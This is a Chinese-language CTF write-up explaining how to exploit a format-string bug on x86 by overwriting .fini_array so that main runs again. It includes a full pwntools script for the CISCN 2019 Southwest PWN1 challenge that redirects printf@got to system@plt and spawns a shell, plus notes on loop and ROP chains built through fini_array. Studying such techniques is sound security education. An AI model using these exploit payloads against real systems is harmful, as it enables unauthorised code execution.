pwn知识——(x86)格式化字符串中利用fini_array及拓展

导言

这类题型还是我复现CISCN_2019_西南的PWN1的时候遇见的,算是涨知识了

前置知识

我们都知道,在程序中最先调用的不是main,也不是__libc_start_main,而是_start,我们来看一下再x86下的_start

.text:08048420                     public _start
.text:08048420     _start          proc near               ; DATA XREF: .LOAD:08048018↑o
.text:08048420 000                 xor     ebp, ebp        ; Logical Exclusive OR
.text:08048422 000                 pop     esi
.text:08048423 -04                 mov     ecx, esp
.text:08048425 -04                 and     esp, 0FFFFFFF0h ; Logical AND
.text:08048428 -04                 push    eax
.text:08048429 000                 push    esp             ; stack_end
.text:0804842A 004                 push    edx             ; rtld_fini
.text:0804842B 008                 push    offset __libc_csu_fini ; fini
.text:08048430 00C                 push    offset __libc_csu_init ; init
.text:08048435 010                 push    ecx             ; ubp_av
.text:08048436 014                 push    esi             ; argc
.text:08048437 018                 push    offset main     ; main
.text:0804843C 01C                 call    ___libc_start_main ; Call Procedure
.text:08048441 01C                 hlt                     ; Halt
.text:08048441     _start          endp
.text:08048441

我们可以看到,在_start结束的时候会调用__libc_start_main,而我们再看__libc_start_main的函数

// attributes: thunk
int __cdecl __libc_start_main(
        int (__cdecl *main)(int, char **, char **),
        int argc,
        char **ubp_av,
        void (*init)(void),
        void (*fini)(void),
        void (*rtld_fini)(void),
        void *stack_end)
{
  return _libc_start_main(main, argc, ubp_av, init, fini, rtld_fini, stack_end);

可以看到,包含有main,init,fini,既然传进去了这些参数,那必然有他们的用处,main和init就不用多说了,fini是做什么的呢?我们得跟进看一看。
image
可以看到,__libc_start_main的返回地址就是__libc_csu_fini,证明它是在__libc_start_main在结束后就会调用__libc_csu_fini,要是我们能对它进行一些修改,那说不定就能做一些“坏事”。我们来看看跟它相关的东西。
我们可以在fini_array段找到与__libc_csu_fini相关的东西,是数组

.fini_array:0804979C     ; ELF Termination Function Table
.fini_array:0804979C     ; ===========================================================================
.fini_array:0804979C
.fini_array:0804979C     ; Segment type: Pure data
.fini_array:0804979C     ; Segment permissions: Read/Write
.fini_array:0804979C     _fini_array     segment dword public 'DATA' use32
.fini_array:0804979C                     assume cs:_fini_array
.fini_array:0804979C                     ;org 804979Ch
.fini_array:0804979C     __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
.fini_array:0804979C                                             ; DATA XREF: __libc_csu_init+16↑o
.fini_array:0804979C     _fini_array     ends                    ; Alternative name is '__init_array_end'
.fini_array:0804979C

在这个数组里存放着一些函数的指针,并且在进入__do_global_dtors_aux这个函数中会遍历并且调用各个指针,__do_global_dtors_aux_fini_array_entry是一个在程序结束时需要调用的函数的名称,它的地址偏移量在这里被存储,也就是说,如果我们能把__do_global_dtors_aux_fini_array_entry指向的地址变为main函数或者其它的地址,就可以进行一些非法操作
这就是fini_array在x86下格式化字符串的基本应用
不过需要注意的是,_init_array的下标是从小到大开始执行,而_fini_array的下标是从大到小开始执行这对我们构造payload起到非常关键的作用

例题 [CISCN 2019西南]PWN1

checksec

image
基本没什么保护,看起来很简单的样子

代码审计

image
image
主函数有格式化字符串漏洞,而且看起来有后门给我们跳转的样子。但不可能,scanf限宽,只让我们输入64个字符,不够我们进行栈溢出,并且也只能执行一次格式化字符串漏洞,看起来无计可施了对不对?这个时候就该使用我们压箱底的fini_array了
因为__libc_start_main的函数返回地址是__libc_csu_fini,而fini_array与它相关联,我们只要把fini_array里的内容给修改了就好。
让我们看看最开始__do_global_dtors_aux_fini_array_entry指向谁
image
就跟我在上面写的一样,是__do_global_dtors_aux,那么我们只要把它修改成main函数的地址,就可以再次执行main函数,我们先修改一下

fini_array = 0x804979C
main_addr = 0x8048534
payload = p32(fini_array + 2) + p32(fini_array)
payload += b'%' + str(0x0804 - 0x08).encode() + b'c%4$hn' #减去0x08是因为前边已经输入了八字节
payload += b'%' + str(0x8534 - 0x0804).encode() + b'c%5$hn'
p.recvuntil('name?\n')
p.sendline(payload)

OK,现在我们再看看
image
可以看到已经成功修改了,因为在这里边会将指针遍历并调用,所以我们会再次执行main函数
至于为什么是倒序写fini_array,就跟我上面说的fini_array的下标是从大到小开始执行的,所以越往后越先执行
既然我们能再一次调用main函数,那么我们就可以在第一次main函数执行的时候把printf@got指向system@plt,在第二次main函数执行时,就可以直接往scanf里传/bin/sh\x00,从而达到getshell的效果,跟后门一样。

Payload

from pwn import *
context(arch='i386', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./xinan_PWN1')
#p = remote('node5.anna.nssctf.cn',28906)
elf = ELF('./xinan_PWN1')

fini_array = 0x804979C
printf_got = 0x804989C#elf.got['printf']
system_plt = 0x80483D0#elf.plt['system']
main_addr = 0x8048534#elf.symbols['main']

payload = p32(fini_array+2) + p32(printf_got + 2) + p32(printf_got) + p32(fini_array)
payload += b'%' + str(0x0804 - 0x10).encode() + b'c%4$hn'
payload += b'%5$hn'
payload += b'%' + str(0x83D0 - 0x0804).encode() + b'c%6$hn'
payload += b'%' + str(0x8534 - 0x83D0).encode() + b'c%7$hn'
gdb.attach(p)
p.recvuntil('name?\n')
p.sendline(payload)

p.recvuntil('name?\n')
p.sendline(b'/bin/sh\x00')
p.interactive()

后日谈

这玩意在x64的情况其实跟x86差不多(特指格式化字符串),就是多了寄存器传参,步骤会变得更加繁琐一点。这个技巧我觉得更适用于无计可施的时候,在其它攻击方法能用的时候,都不会挑这个来用,只有想不到别的办法的时候,它的价值才体现出来
当然,fini_array的作用远不止于此,它还可以和更多的攻击方式利用起来
比如

Loop链

fini_array[0] = __libc_csu_fini
fini_array[1] = target_addr

因为是从大到小开始执行,所以它的执行流程是这样的
_start-->__libc_start_main-->libc_csu_init-->main-->libc_csu_fini-->target_addr-->libc_csu_fini-->target_addr-->...
只要你不改变fini_array的值,我们就可以无限次执行下去,任何的one_byte漏洞都会被无限放大,实现任意地址写

ROP链攻击

这个常常与栈迁移联系在一起
当栈空间不足时,我们可以把栈迁移到fini_array里去,先构造Loop链使它无限循环,然后往fini_array * 0x10后布置ROP链
当ROP链布置完后,要想跳出循环

fini_array[0]修改为leave_ret
fini_array[1]修改为ret

修改完后就能getshell了

至于为什么没有例题...是因为我还没有遇到,如果有我后续会补上来的

posted @ 2024-04-17 20:15  Falling_Dusk  阅读(144)  评论(0编辑  收藏  举报